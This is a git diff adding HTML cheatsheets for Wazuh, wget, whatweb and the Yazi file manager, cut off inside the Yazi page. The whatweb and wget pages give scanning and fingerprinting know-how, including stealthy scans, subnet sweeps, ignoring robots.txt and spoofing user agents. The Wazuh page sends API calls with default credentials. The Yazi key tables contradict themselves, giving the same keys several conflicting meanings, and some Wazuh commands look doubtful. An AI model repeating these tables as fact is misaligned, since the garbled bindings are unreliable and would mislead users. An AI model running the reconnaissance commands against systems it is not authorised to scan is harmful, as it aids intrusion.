      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      Wazuh Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      Wazuh is an open-source security monitoring platform that provides intrusion detection, vulnerability detection, incident response, and compliance management. It integrates with the MITRE ATT&CK framework for threat detection and hunting.

      +
      +

      Service Management

      +
        +
      • systemctl start wazuh-manager - Start Wazuh manager
      • +
      +
        +
      • systemctl stop wazuh-manager - Stop Wazuh manager
      • +
      +
        +
      • systemctl restart wazuh-manager - Restart Wazuh manager
      • +
      +
        +
      • systemctl status wazuh-manager - Check manager status
      • +
      +
        +
      • systemctl start wazuh-agent - Start Wazuh agent
      • +
      +
        +
      • systemctl status wazuh-agent - Check agent status
      • +
      +
        +
      • /var/ossec/bin/wazuh-control status - Check all components status
      • +
      +
        +
      • /var/ossec/bin/wazuh-control start - Start all components
      • +
      +
        +
      • /var/ossec/bin/wazuh-control stop - Stop all components
      • +
      +
        +
      • /var/ossec/bin/wazuh-control restart - Restart all components
      • +
      +
      +

      Agent Management

      +
        +
      • /var/ossec/bin/agent_control -l - List all agents
      • +
      +
        +
      • /var/ossec/bin/agent_control -e - Restart agent
      • +
      +
        +
      • /var/ossec/bin/agent_control -r - Remove agent
      • +
      +
        +
      • /var/ossec/bin/agent_control -a - List active agents
      • +
      +
        +
      • /var/ossec/bin/agent_control -i - Show agent info
      • +
      +
        +
      • /var/ossec/bin/agent_control -u - Upgrade agent remotely
      • +
      +
        +
      • /var/ossec/bin/agent_control -s - Show agent statistics
      • +
      +
        +
      • /var/ossec/bin/manage_agents - Manage agent keys
      • +
      +
      +

      Log Files

      +
        +
      • /var/ossec/logs/ossec.log - Main Wazuh manager log
      • +
      +
        +
      • /var/ossec/logs/alerts/alerts.json - JSON formatted alerts
      • +
      +
        +
      • /var/ossec/logs/alerts/alerts.log - Standard alert log
      • +
      +
        +
      • /var/ossec/logs/archives/archives.log - Archived logs
      • +
      +
        +
      • tail -f /var/ossec/logs/alerts/alerts.log - Monitor alerts in real-time
      • +
      +
        +
      • tail -f /var/ossec/logs/ossec.log - Monitor main log
      • +
      +
      +

      Rule Configuration

      +
        +
      • /var/ossec/etc/rules/local_rules.xml - Custom local rules
      • +
      +
        +
      • /var/ossec/etc/rules/ - Rules directory
      • +
      +
        +
      • /var/ossec/etc/ossec.conf - Main configuration file
      • +
      +
        +
      • wazuh-logtest - Test rule matching
      • +
      +
        +
      • wazuh-logtest -f - Test rules against log file
      • +
      +
      +

      Searching Alerts

      +
        +
      • grep -i "rule.id" /var/ossec/logs/alerts/alerts.log - Search by rule ID
      • +
      +
        +
      • grep -i "agent.id" /var/ossec/logs/alerts/alerts.log - Search by agent ID
      • +
      +
        +
      • jq '.rule.id' /var/ossec/logs/alerts/alerts.json - Query JSON alerts
      • +
      +
        +
      • jq '.rule.mitre.id' /var/ossec/logs/alerts/alerts.json - Filter by MITRE ATT&CK ID
      • +
      +
        +
      • jq 'select(.rule.level >= 10)' /var/ossec/logs/alerts/alerts.json - High severity alerts
      • +
      +
      +

      MITRE ATT&CK Framework Integration

      +

      Wazuh automatically maps detection rules to MITRE ATT&CK tactics, techniques, and sub-techniques. Alerts include ATT&CK metadata for threat hunting and correlation.

      +

      ATT&CK Metadata in Rules

      +
      <rule id="100200" level="12">
      +  <if_sid>1002</if_sid>
      +  <match>authentication failure</match>
      +  <description>Multiple authentication failures detected</description>
      +  <mitre>
      +    <id>T1110</id>
      +    <tactic>Credential Access</tactic>
      +    <technique>Brute Force</technique>
      +  </mitre>
      +</rule>
      +

      Querying ATT&CK Techniques

      +
      # Search for T1110 (Brute Force) alerts
      +jq 'select(.rule.mitre.id == "T1110")' /var/ossec/logs/alerts/alerts.json
      +
      +# Search by tactic
      +jq 'select(.rule.mitre.tactic[] | contains("Credential Access"))' /var/ossec/logs/alerts/alerts.json
      +
      +# Search for specific technique
      +jq 'select(.rule.mitre.technique == "Brute Force")' /var/ossec/logs/alerts/alerts.json
      +

      Common ATT&CK Mappings

      +
        +
      • T1003 - OS Credential Dumping (password file access)
      • +
      +
        +
      • T1018 - Remote System Discovery (network scanning)
      • +
      +
        +
      • T1021 - Remote Services (SSH, RDP connections)
      • +
      +
        +
      • T1047 - Windows Management Instrumentation (WMI abuse)
      • +
      +
        +
      • T1055 - Process Injection (suspicious process behavior)
      • +
      +
        +
      • T1070 - Indicator Removal (log deletion)
      • +
      +
        +
      • T1071 - Application Layer Protocol (network traffic)
      • +
      +
        +
      • T1105 - Ingress Tool Transfer (file downloads)
      • +
      +
        +
      • T1110 - Brute Force (authentication failures)
      • +
      +
        +
      • T1548 - Abuse Elevation Control Mechanism (sudo/privilege escalation)
      • +
      +

      Threat Hunting with ATT&CK

      +
      # Hunt for credential access techniques
      +jq 'select(.rule.mitre.tactic[] | contains("Credential Access")) | {time: .timestamp, agent: .agent.name, rule: .rule.description, mitre_id: .rule.mitre.id}' /var/ossec/logs/alerts/alerts.json
      +
      +# Hunt for persistence mechanisms
      +jq 'select(.rule.mitre.tactic[] | contains("Persistence")) | {time: .timestamp, technique: .rule.mitre.technique, id: .rule.mitre.id}' /var/ossec/logs/alerts/alerts.json
      +
      +# Hunt for privilege escalation
      +jq 'select(.rule.mitre.tactic[] | contains("Privilege Escalation"))' /var/ossec/logs/alerts/alerts.json | jq -s 'group_by(.rule.mitre.id) | map({technique: .[0].rule.mitre.technique, count: length, id: .[0].rule.mitre.id})'
      +
      +

      Creating Custom Rules with ATT&CK

      +
      <group name="custom,mitre_attack,">
      +  <rule id="100001" level="10">
      +    <if_sid>5710</if_sid>
      +    <match>sudo.*su.*root</match>
      +    <description>Suspicious sudo to su root escalation</description>
      +    <mitre>
      +      <id>T1548.003</id>
      +      <tactic>Privilege Escalation,Defense Evasion</tactic>
      +      <technique>Sudo and Sudo Caching</technique>
      +    </mitre>
      +  </rule>
      +  
      +  <rule id="100002" level="12">
      +    <if_group>web</if_group>
      +    <match>SQL.*injection</match>
      +    <description>SQL injection attempt detected</description>
      +    <mitre>
      +      <id>T1190</id>
      +      <tactic>Initial Access</tactic>
      +      <technique>Exploit Public-Facing Application</technique>
      +    </mitre>
      +  </rule>
      +</group>
      +
      +

      File Integrity Monitoring (FIM)

      +
        +
      • /var/ossec/etc/ossec.conf - Configure FIM in <syscheck> section
      • +
      +
        +
      • /var/ossec/queue/fim/ - FIM events directory
      • +
      +

      FIM Configuration Example

      +
      <syscheck>
      +  <disabled>no</disabled>
      +  <frequency>43200</frequency>
      +  <directories check_all="yes">/etc,/usr/bin,/usr/sbin</directories>
      +  <directories check_all="yes">/bin,/sbin</directories>
      +  <ignore>/etc/mtab</ignore>
      +  <ignore>/etc/hosts.deny</ignore>
      +  <ignore>/etc/mail/statistics</ignore>
      +</syscheck>
      +
      +

      Rootcheck

      +
        +
      • /var/ossec/etc/ossec.conf - Configure rootcheck
      • +
      +
        +
      • grep "rootcheck" /var/ossec/logs/alerts/alerts.log - View rootcheck alerts
      • +
      +
        +
      • /var/ossec/etc/shared/default/rootcheck.conf - Rootcheck configuration
      • +
      +
      +

      Vulnerability Detection

      +
        +
      • /var/ossec/wodles/vulnerability-detector/ - Vulnerability detector scripts
      • +
      +
        +
      • wazuh-cli -d -u -f /var/ossec/wodles/vulnerability-detector/vulnerability-detector.py - Run vulnerability scan
      • +
      +
        +
      • jq 'select(.vulnerability)' /var/ossec/logs/alerts/alerts.json - View vulnerability alerts
      • +
      +
      +

      API Usage

      +
        +
      • curl -k -u wazuh:wazuh -X GET "https://localhost:55000/agents?pretty" - List agents via API
      • +
      +
        +
      • curl -k -u wazuh:wazuh -X GET "https://localhost:55000/agents/?pretty" - Get agent details
      • +
      +
        +
      • curl -k -u wazuh:wazuh -X GET "https://localhost:55000/rules?rule_ids=1002&pretty" - Get rule information
      • +
      +
        +
      • curl -k -u wazuh:wazuh -X POST "https://localhost:55000/syscollector//hardware?pretty" - System inventory
      • +
      +
        +
      • curl -k -u wazuh:wazuh -X GET "https://localhost:55000/rootcheck/?pretty" - Rootcheck results
      • +
      +
        +
      • curl -k -u wazuh:wazuh -X GET "https://localhost:55000/syscheck/?pretty" - FIM baseline
      • +
      +
      +

      Common Commands

      +
        +
      • wazuh-cli -c /var/ossec/etc/ossec.conf -l - List configuration
      • +
      +
        +
      • wazuh-logtest - Interactive log testing tool
      • +
      +
        +
      • wazuh-keystore - Manage encrypted keys
      • +
      +
        +
      • /var/ossec/bin/wazuh-control info - System information
      • +
      +
        +
      • /var/ossec/bin/verify-agent-conf - Verify agent configuration
      • +
      +
        +
      • /var/ossec/bin/syscheck_update - Update FIM baseline manually
      • +
      +
      +

      Configuration Locations

      +
        +
      • /var/ossec/etc/ossec.conf - Main configuration (manager/agent)
      • +
      +
        +
      • /var/ossec/etc/rules/ - Rule files directory
      • +
      +
        +
      • /var/ossec/etc/decoders/ - Log decoders directory
      • +
      +
        +
      • /var/ossec/etc/shared/ - Shared configuration for agents
      • +
      +
        +
      • /var/ossec/etc/lists/ - CDB lists for rules
      • +
      +
      +

      Tips

      +
        +
      • Use MITRE ATT&CK metadata in custom rules for better threat hunting
      • +
      +
        +
      • Regularly review high-level alerts (level 12+)
      • +
      +
        +
      • Use jq for querying and filtering JSON alert logs
      • +
      +
        +
      • Create custom rules in local_rules.xml, not in default rule files
      • +
      +
        +
      • Test rules with wazuh-logtest before deploying
      • +
      +
        +
      • Monitor agent connectivity - disconnected agents can't send alerts
      • +
      +
        +
      • Use FIM to monitor critical system files and directories
      • +
      +
        +
      • Enable vulnerability detection for compliance scanning
      • +
      +
        +
      • Correlate alerts using MITRE ATT&CK tactics to identify attack chains
      • +
      +
        +
      • Use the API for automation and integration with other tools
      • +
      +
        +
      • Check /var/ossec/logs/ regularly for errors
      • +
      +
        +
      • Keep Wazuh updated to get latest detection rules and MITRE mappings
      • +
      +
        +
      • Use rootcheck to detect rootkits and suspicious system modifications
      • +
      +
        +
      • Create dashboards based on MITRE ATT&CK tactics for threat visibility
      • +
      +
        +
      • Archive and analyze historical alerts for threat hunting
      • +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +
      +
      +
      + + + + + diff --git a/cheatsheets/wget.html b/cheatsheets/wget.html new file mode 100644 index 0000000..6e6990f --- /dev/null +++ b/cheatsheets/wget.html @@ -0,0 +1,319 @@ + + + + + + + + + + + wget Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      wget Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      wget is a non-interactive network downloader. It supports HTTP, HTTPS, and FTP. Great for downloading files, mirroring websites, and recursive downloads.

      +
      +

      Basic Usage

      +
        +
      • wget <url> - Download file
      • +
      +
        +
      • wget -O filename <url> - Save with custom name
      • +
      +
        +
      • wget -P /path/ <url> - Save to directory
      • +
      +
      +

      Download Options

      +
        +
      • -O filename - Output filename
      • +
      +
        +
      • -P prefix - Directory prefix
      • +
      +
        +
      • -c - Continue partial download
      • +
      +
        +
      • -N - Timestamping (only newer)
      • +
      +
        +
      • -nc - No clobber (skip existing)
      • +
      +
        +
      • -b - Background download
      • +
      +
        +
      • -q - Quiet mode
      • +
      +
        +
      • -v - Verbose
      • +
      +
      +

      Recursive Downloads

      +
        +
      • -r - Recursive download
      • +
      +
        +
      • -l depth - Recursion depth (default 5)
      • +
      +
        +
      • -k - Convert links for local viewing
      • +
      +
        +
      • -p - Download page requisites
      • +
      +
        +
      • -E - Save HTML as .html
      • +
      +
        +
      • -np - No parent (don't go up)
      • +
      +
        +
      • -nH - No host directories
      • +
      +
        +
      • --cut-dirs=N - Ignore N directories
      • +
      +
      +

      Filtering

      +
        +
      • -A ext - Accept extensions (jpg,png)
      • +
      +
        +
      • -R ext - Reject extensions
      • +
      +
        +
      • -I list - Include directories
      • +
      +
        +
      • -X list - Exclude directories
      • +
      +
        +
      • --accept-regex - Accept regex pattern
      • +
      +
        +
      • --reject-regex - Reject regex pattern
      • +
      +
      +

      HTTP Options

      +
        +
      • --header="Header: Value" - Custom header
      • +
      +
        +
      • -U agent - User agent
      • +
      +
        +
      • --referer=url - Set referer
      • +
      +
        +
      • --post-data="data" - POST data
      • +
      +
        +
      • --post-file=file - POST from file
      • +
      +
        +
      • --method=METHOD - HTTP method
      • +
      +
      +

      Authentication

      +
        +
      • --user=user - Username
      • +
      +
        +
      • --password=pass - Password
      • +
      +
        +
      • --ask-password - Prompt for password
      • +
      +
        +
      • --http-user=user - HTTP auth user
      • +
      +
        +
      • --http-password=pass - HTTP auth pass
      • +
      +
      +

      Cookies

      +
        +
      • --save-cookies file - Save cookies
      • +
      +
        +
      • --load-cookies file - Load cookies
      • +
      +
        +
      • --keep-session-cookies - Keep session cookies
      • +
      +
      +

      SSL/TLS

      +
        +
      • --no-check-certificate - Ignore SSL errors
      • +
      +
        +
      • --ca-certificate=file - CA cert file
      • +
      +
        +
      • --certificate=file - Client cert
      • +
      +
        +
      • --private-key=file - Private key
      • +
      +
      +

      Proxy

      +
        +
      • -e use_proxy=yes - Enable proxy
      • +
      +
        +
      • -e http_proxy=url - HTTP proxy
      • +
      +
        +
      • -e https_proxy=url - HTTPS proxy
      • +
      +
        +
      • --no-proxy - Disable proxy
      • +
      +
      +

      Speed & Limits

      +
        +
      • --limit-rate=rate - Limit download speed
      • +
      +
        +
      • -w seconds - Wait between requests
      • +
      +
        +
      • --random-wait - Random wait (0.5-1.5x)
      • +
      +
        +
      • -t tries - Retry count (0=infinite)
      • +
      +
        +
      • -T timeout - Timeout seconds
      • +
      +
        +
      • --dns-timeout - DNS timeout
      • +
      +
      +

      Common Examples

      +

      Simple Download

      +
      wget https://example.com/file.zip
      +

      Download single file.

      +

      Resume Download

      +
      wget -c https://example.com/large-file.iso
      +

      Continue interrupted download.

      +

      Download to Directory

      +
      wget -P ~/Downloads https://example.com/file.zip
      +

      Save to specific directory.

      +

      Mirror Website

      +
      wget -m -k -p -E -np https://example.com
      +

      Create offline mirror of site.

      +

      Download All Images

      +
      wget -r -A jpg,jpeg,png,gif -np https://example.com/images/
      +

      Download only images recursively.

      +

      Background Download

      +
      wget -b https://example.com/large-file.iso
      +

      Download in background.

      +

      Rate Limited

      +
      wget --limit-rate=200k https://example.com/file.zip
      +

      Limit to 200KB/s.

      +

      With Authentication

      +
      wget --user=admin --password=secret https://example.com/protected/
      +

      Download with credentials.

      +

      From File List

      +
      wget -i urls.txt
      +

      Download URLs from file.

      +

      Spider Mode

      +
      wget --spider https://example.com/file.zip
      +

      Check if file exists (no download).

      +

      Ignore Robots

      +
      wget -e robots=off -r https://example.com
      +

      Ignore robots.txt.

      +

      Custom User Agent

      +
      wget -U "Mozilla/5.0 (Windows NT 10.0)" https://example.com
      +

      Spoof browser user agent.

      +
      +

      Mirror Options Explained

      +
      wget -m -k -p -E -np https://example.com
      +
        +
      • -m (--mirror) - Mirror mode (-r -N -l inf --no-remove-listing)
      • +
      • -k (--convert-links) - Convert for local viewing
      • +
      • -p (--page-requisites) - Get images, CSS, JS
      • +
      • -E (--adjust-extension) - Save as .html
      • +
      • -np (--no-parent) - Don't go to parent directory
      • +
      +
      +

      wget vs curl

      +
        +
      • wget - Better for downloads, recursive, mirroring
      • +
      • curl - Better for API calls, more protocols, more flexible
      • +
      +
      +

      Tips

      +
        +
      • Use -c to resume interrupted downloads
      • +
      +
        +
      • Use -b for large files (runs in background)
      • +
      +
        +
      • Use --limit-rate to be polite to servers
      • +
      +
        +
      • Use -np to stay within target directory
      • +
      +
        +
      • Use --random-wait to avoid being blocked
      • +
      +
        +
      • Check wget log with tail -f wget-log
      • +
      +
        +
      • Great for scripting and automation
      • +
      +
        +
      • Be respectful when mirroring sites
      • +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +
      +
      +
      + + + + diff --git a/cheatsheets/whatweb.html b/cheatsheets/whatweb.html new file mode 100644 index 0000000..4724cab --- /dev/null +++ b/cheatsheets/whatweb.html @@ -0,0 +1,250 @@ + + + + + + + + + + + whatweb Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      whatweb Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      WhatWeb identifies websites. It recognizes web technologies including CMS, blogging platforms, JavaScript libraries, web servers, embedded devices, version numbers, email addresses, and more.

      +
      +

      Basic Usage

      +
        +
      • whatweb <url> - Basic fingerprint
      • +
      +
        +
      • whatweb example.com - Scan single target
      • +
      +
        +
      • whatweb -i urls.txt - Scan from file
      • +
      +
      +

      Aggression Levels

      +
        +
      • -a 1 - Stealthy (1 request per target)
      • +
      +
        +
      • -a 2 - Unused
      • +
      +
        +
      • -a 3 - Aggressive (triggers additional requests)
      • +
      +
        +
      • -a 4 - Heavy (tries all plugins, many requests)
      • +
      +
      +

      Output Options

      +
        +
      • -v - Verbose output (show all plugins)
      • +
      +
        +
      • --color=never - Disable colors
      • +
      +
        +
      • --log-brief=file.txt - Brief log format
      • +
      +
        +
      • --log-verbose=file.txt - Verbose log format
      • +
      +
        +
      • --log-xml=file.xml - XML output
      • +
      +
        +
      • --log-json=file.json - JSON output
      • +
      +
        +
      • --log-sql=file.sql - SQL insert statements
      • +
      +
        +
      • --log-sql-create=file.sql - SQL with create table
      • +
      +
      +

      Input Options

      +
        +
      • -i, --input-file - Read targets from file
      • +
      +
        +
      • --url-prefix - Add prefix to URLs
      • +
      +
        +
      • --url-suffix - Add suffix to URLs
      • +
      +
        +
      • --url-pattern - URL pattern for targets
      • +
      +
      +

      Performance

      +
        +
      • -t, --max-threads - Maximum threads (default 25)
      • +
      +
        +
      • --wait - Wait between connections
      • +
      +
        +
      • --max-redirects - Maximum redirects (default 10)
      • +
      +
        +
      • --open-timeout - Connection timeout
      • +
      +
        +
      • --read-timeout - Read timeout
      • +
      +
      +

      HTTP Options

      +
        +
      • -U, --user-agent - Custom user agent
      • +
      +
        +
      • --header "Name:Value" - Add custom header
      • +
      +
        +
      • -c, --cookie - Set cookie
      • +
      +
        +
      • --cookie-jar - Cookie jar file
      • +
      +
        +
      • -u, --user - HTTP basic auth (user:pass)
      • +
      +
      +

      Proxy Options

      +
        +
      • --proxy host:port - Use HTTP proxy
      • +
      +
        +
      • --proxy-user user:pass - Proxy authentication
      • +
      +
      +

      Plugin Options

      +
        +
      • -l, --list-plugins - List all plugins
      • +
      +
        +
      • -p, --plugins - Select plugins to use
      • +
      +
        +
      • --grep - Search for regex in responses
      • +
      +
        +
      • --info-plugins - Detailed plugin info
      • +
      +
      +

      Common Examples

      +

      Basic Scan

      +
      whatweb example.com
      +

      Quick fingerprint of website.

      +

      Verbose Output

      +
      whatweb -v example.com
      +

      Show all detected technologies.

      +

      Aggressive Scan

      +
      whatweb -a 3 example.com
      +

      More thorough detection with additional requests.

      +

      Multiple Targets

      +
      whatweb example.com example.org example.net
      +

      Scan multiple sites at once.

      +

      From File

      +
      whatweb -i urls.txt --log-json=results.json
      +

      Scan list of URLs, output JSON.

      +

      With Custom User Agent

      +
      whatweb -U "Mozilla/5.0 (Windows NT 10.0)" example.com
      +

      Scan with custom user agent.

      +

      IP Range Scan

      +
      whatweb 192.168.1.0/24
      +

      Scan entire subnet for web servers.

      +

      Search for Specific Technology

      +
      whatweb -p WordPress example.com
      +

      Only check for WordPress.

      +

      Grep for Strings

      +
      whatweb --grep "admin" example.com
      +

      Search for strings in responses.

      +
      +

      Common Plugins

      +
        +
      • Apache - Apache web server
      • +
      • nginx - nginx web server
      • +
      • WordPress - WordPress CMS
      • +
      • Drupal - Drupal CMS
      • +
      • Joomla - Joomla CMS
      • +
      • PHP - PHP language
      • +
      • jQuery - jQuery library
      • +
      • Bootstrap - Bootstrap framework
      • +
      • Cloudflare - Cloudflare CDN
      • +
      • Google-Analytics - Analytics tracking
      • +
      +
      +

      Tips

      +
        +
      • Use -v for detailed output of all findings
      • +
      +
        +
      • Start with aggression level 1 for stealth
      • +
      +
        +
      • Level 3-4 can trigger WAF/IDS
      • +
      +
        +
      • JSON output is great for parsing
      • +
      +
        +
      • Combine with other recon tools for full picture
      • +
      +
        +
      • Check version numbers for known vulnerabilities
      • +
      +
        +
      • Can scan IP ranges for web service discovery
      • +
      +
        +
      • Always get authorization before scanning
      • +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +
      +
      +
      + + + + diff --git a/cheatsheets/yazi.html b/cheatsheets/yazi.html new file mode 100644 index 0000000..d83336a --- /dev/null +++ b/cheatsheets/yazi.html @@ -0,0 +1,571 @@ + + + + + + + + + + + Yazi Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      Yazi Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      Basic Navigation

      +

      File Navigation

      +
        +
      • h or ← - Go to parent directory
      • +
      +
        +
      • l or → or Enter - Enter directory / Open file
      • +
      +
        +
      • j or ↓ - Move down
      • +
      +
        +
      • k or ↑ - Move up
      • +
      +
        +
      • gg - Go to top
      • +
      +
        +
      • G - Go to bottom
      • +
      +
        +
      • Ctrl+d - Scroll down half page
      • +
      +
        +
      • Ctrl+u - Scroll up half page
      • +
      +
        +
      • Ctrl+f - Scroll down full page
      • +
      +
        +
      • Ctrl+b - Scroll up full page
      • +
      +
        +
      • Home - Go to first file
      • +
      +
        +
      • End - Go to last file
      • +
      +

      Quick Navigation

      +
        +
      • ~ - Go to home directory
      • +
      +
        +
      • - - Go to previous directory
      • +
      +
        +
      • , - Go to previous directory (alternative)
      • +
      +
        +
      • . - Toggle hidden files
      • +
      +
        +
      • z - Go to parent directory
      • +
      +
        +
      • Z - Go to previous directory
      • +
      +
      +

      File Operations

      +

      Selection

      +
        +
      • Space - Toggle selection
      • +
      +
        +
      • v - Toggle selection (alternative)
      • +
      +
        +
      • a - Select all
      • +
      +
        +
      • A - Deselect all
      • +
      +
        +
      • * - Invert selection
      • +
      +
        +
      • ; - Select by pattern
      • +
      +
        +
      • : - Deselect by pattern
      • +
      +

      Copy/Move/Delete

      +
        +
      • y - Copy selected files
      • +
      +
        +
      • x - Cut selected files
      • +
      +
        +
      • p - Paste files
      • +
      +
        +
      • P - Paste files (with overwrite prompt)
      • +
      +
        +
      • d - Delete selected files
      • +
      +
        +
      • D - Delete permanently (bypass trash)
      • +
      +
        +
      • r - Rename file
      • +
      +
        +
      • R - Bulk rename
      • +
      +
        +
      • c - Copy file path
      • +
      +
        +
      • C - Copy file name
      • +
      +
        +
      • Y - Copy file path (absolute)
      • +
      +

      Create

      +
        +
      • n - Create new file
      • +
      +
        +
      • N - Create new directory
      • +
      +
        +
      • m - Create new file (with prompt)
      • +
      +
        +
      • M - Create new directory (with prompt)
      • +
      +
      +

      Viewing and Opening

      +

      Viewing

      +
        +
      • o - Open file (system default)
      • +
      +
        +
      • O - Open file (with application selector)
      • +
      +
        +
      • e - Open file in editor
      • +
      +
        +
      • E - Open file in editor (with editor selector)
      • +
      +
        +
      • w - Open file in preview
      • +
      +
        +
      • W - Toggle preview
      • +
      +
        +
      • i - Show file information
      • +
      +
        +
      • I - Show file information (detailed)
      • +
      +
        +
      • u - Show file URL
      • +
      +
        +
      • U - Copy file URL
      • +
      +

      Preview

      +
        +
      • w - Toggle preview
      • +
      +
        +
      • W - Toggle preview (alternative)
      • +
      +
        +
      • p - Toggle preview (alternative)
      • +
      +
        +
      • P - Toggle preview (alternative)
      • +
      +
      +

      Search and Filter

      +

      Search

      +
        +
      • / - Search files
      • +
      +
        +
      • ? - Search files (backward)
      • +
      +
        +
      • n - Next match
      • +
      +
        +
      • N - Previous match
      • +
      +
        +
      • Esc - Clear search
      • +
      +

      Filter

      +
        +
      • f - Filter files
      • +
      +
        +
      • F - Filter files (case sensitive)
      • +
      +
        +
      • Esc - Clear filter
      • +
      +

      Find

      +
        +
      • ; - Find file by name
      • +
      +
        +
      • : - Find file by name (backward)
      • +
      +
      +

      Tabs and Windows

      +

      Tabs

      +
        +
      • t - New tab
      • +
      +
        +
      • T - New tab (with path)
      • +
      +
        +
      • [ - Previous tab
      • +
      +
        +
      • ] - Next tab
      • +
      +
        +
      • { - Move tab left
      • +
      +
        +
      • } - Move tab right
      • +
      +
        +
      • q - Close tab
      • +
      +
        +
      • Q - Close all tabs except current
      • +
      +

      Windows

      +
        +
      • Tab - Switch between panes
      • +
      +
        +
      • Ctrl+w - Close pane
      • +
      +
        +
      • Ctrl+n - New pane
      • +
      +
        +
      • Ctrl+h - Focus left pane
      • +
      +
        +
      • Ctrl+j - Focus bottom pane
      • +
      +
        +
      • Ctrl+k - Focus top pane
      • +
      +
        +
      • Ctrl+l - Focus right pane
      • +
      +
        +
      • H - Resize pane left
      • +
      +
        +
      • J - Resize pane down
      • +
      +
        +
      • K - Resize pane up
      • +
      +
        +
      • L - Resize pane right
      • +
      +
        +
      • = - Equalize pane sizes
      • +
      +
      +

      Sorting and Display

      +

      Sorting

      +
        +
      • s - Sort by name
      • +
      +
        +
      • S - Sort by size
      • +
      +
        +
      • t - Sort by modified time
      • +
      +
        +
      • T - Sort by created time
      • +
      +
        +
      • e - Sort by extension
      • +
      +
        +
      • E - Sort by extension (reverse)
      • +
      +
        +
      • r - Reverse sort order
      • +
      +
        +
      • R - Toggle sort order
      • +
      +

      Display

      +
        +
      • . - Toggle hidden files
      • +
      +
        +
      • z - Toggle file size display
      • +
      +
        +
      • Z - Toggle file size display (alternative)
      • +
      +
        +
      • : - Toggle line numbers
      • +
      +
        +
      • ; - Toggle line numbers (alternative)
      • +
      +
      +

      Advanced Operations

      +

      Archive Operations

      +
        +
      • a - Create archive
      • +
      +
        +
      • A - Extract archive
      • +
      +
        +
      • e - Extract archive (with prompt)
      • +
      +

      Git Operations

      +
        +
      • g - Show git status
      • +
      +
        +
      • G - Show git log
      • +
      +
        +
      • b - Show git branches
      • +
      +
        +
      • B - Show git branches (alternative)
      • +
      +

      System Operations

      +
        +
      • ! - Execute shell command
      • +
      +
        +
      • $ - Execute shell command (with output)
      • +
      +
        +
      • & - Execute shell command (background)
      • +
      +
        +
      • @ - Execute shell command (with prompt)
      • +
      +

      Other Operations

      +
        +
      • u - Undo last operation
      • +
      +
        +
      • U - Redo last operation
      • +
      +
        +
      • r - Refresh directory
      • +
      +
        +
      • R - Reload configuration
      • +
      +
        +
      • : - Command mode
      • +
      +
        +
      • Esc - Cancel operation
      • +
      +
        +
      • Ctrl+c - Cancel operation (alternative)
      • +
      +
      +

      Command Mode

      +
        +
      • : - Enter command mode
      • +
      +
        +
      • cd <path> - Change directory
      • +
      +
        +
      • open <path> - Open path
      • +
      +
        +
      • quit or q - Quit
      • +
      +
        +
      • exit - Exit
      • +
      +
        +
      • help - Show help
      • +
      +
        +
      • version - Show version
      • +
      +
        +
      • config - Open config file
      • +
      +
        +
      • theme - Change theme
      • +
      +
        +
      • plugin - Manage plugins
      • +
      +
      +

      Configuration

      +

      Key Locations

      +
        +
      • ~/.config/yazi/yazi.toml - Main config
      • +
      +
        +
      • ~/.config/yazi/keymap.toml - Key bindings
      • +
      +
        +
      • ~/.config/yazi/theme.toml - Theme config
      • +
      +
        +
      • ~/.config/yazi/plugins/ - Plugins directory
      • +
      +

      Common Settings (yazi.toml)

      +
      [manager]
      +sort_by = "alphabetical"
      +sort_sensitive = true
      +sort_reverse = false
      +sort_dir_first = true
      +linemode = "none"
      +show_hidden = false
      +show_symlink = true
      +scrolloff = 5
      +mouse_enabled = true
      +
      +[preview]
      +tab_size = 2
      +max_width = 600
      +max_height = 900
      +image_quality = 75
      +

      Common Key Bindings (keymap.toml)

      +
      [manager]
      +keymap = [
      +  { on = [ "<Enter>", "l" ], run = "open", desc = "Open file or enter directory" },
      +  { on = [ "h", "<Left>" ], run = "leave", desc = "Go to parent directory" },
      +  { on = [ "j", "<Down>" ], run = "move", desc = "Move down" },
      +  { on = [ "k", "<Up>" ], run = "move", desc = "Move up" },
      +  { on = [ "gg" ], run = "go 0", desc = "Go to top" },
      +  { on = [ "G" ], run = "go -1", desc = "Go to bottom" },
      +  { on = [ "<Space>" ], run = "select --toggle", desc = "Toggle selection" },
      +  { on = [ "y" ], run = "copy", desc = "Copy files" },
      +  { on = [ "x" ], run = "cut", desc = "Cut files" },
